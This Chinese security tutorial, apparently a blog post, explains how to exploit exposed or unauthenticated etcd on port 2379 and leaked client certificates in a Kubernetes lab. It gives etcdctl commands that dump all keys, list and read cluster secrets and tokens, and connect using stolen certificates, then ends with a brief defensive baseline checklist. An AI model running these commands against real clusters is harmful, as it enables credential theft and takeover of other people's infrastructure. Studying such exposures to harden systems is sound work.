0x00 前言
今儿来看看etcd未授权漏洞以及cert证书遗失问题
0x01 etcd简述
1.etcd是什么
etcd是采用go语言编写的一个分布式的key-value存储。
2.etcd作用
etcd主要用于解决集群管中的OS升级的分布式并发控制以及配置文件的存储与分发等问题。在kubernetes集群中,Etcd用于保存集群所有的网络配置和对象的状态信息
3.etcd端口
- 2379 客户端通信
- 2380 集群中的peer通信
4.安全问题
- 2379 端口公网暴露
- cret证书泄露
- client-cert-auth未授权
0x01 2379 端口公网暴露+client-cert-auth未授权
1.环境搭建
配置文件:/etc/kubernetes/manifests/etcd.yaml
首先注释掉client-cert-auth=true这一行,然后将https改为http。
然后重启
systemctl restart kubelet
这里如果不懂k8s那十有八九是起不开k8s的,但是没关系,etcd是可以启动的
访问2379:
2.利用
首先是工具获取:https://github.com/etcd-io/etcd/releases/
具体操作可以参考:https://blog.csdn.net/a1023934860/article/details/124966178
2.1 常规操作
查看所有的内容,–prefix 的意思是前缀匹配键来查询值
etcdctl.exe --endpoints=http://192.168.247.156:2379/ get / –prefix
指定输出的格式
–write-out=“json”
2.2 dump
dump很简单,直接将上述内容输出到txt或者其他文件里
etcdctl.exe --endpoints=http://192.168.247.156:2379/ get / –prefix --write-out="json" --write-out="json" > dump.txt
2.3 获取secrets
etcdctl.exe --endpoints=http://192.168.247.156:2379/ get / --prefix --keys-only | grep /secrets/
2.4 获取证书
etcdctl.exe --endpoints=http://192.168.247.156:2379/ get /registry/secrets/kube-system/bootstrap-signer-token-pfqct
获取证书以及token
拿着tokne就相当于是获取到了所有节点的权限。
0x02 cert证书泄露
当client-cert-auth开启设置,但是cert证书泄露
1.环境搭建
默认环境就行
2.利用
工具同上
2.1 验证存活
etcdctl.exe --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://192.168.247.156:2379/ --cacert=ca.crt --key=healthcheck-client.key --cert=healthcheck-client.crt endpoint health
其他利用方式都一样。
0x03 基线检查
- 端口是否对外开放
- 证书验证是否开启
- 证书是否存在遗失问题
- 证书是否长时间未更换
- 记录是否存在异常请求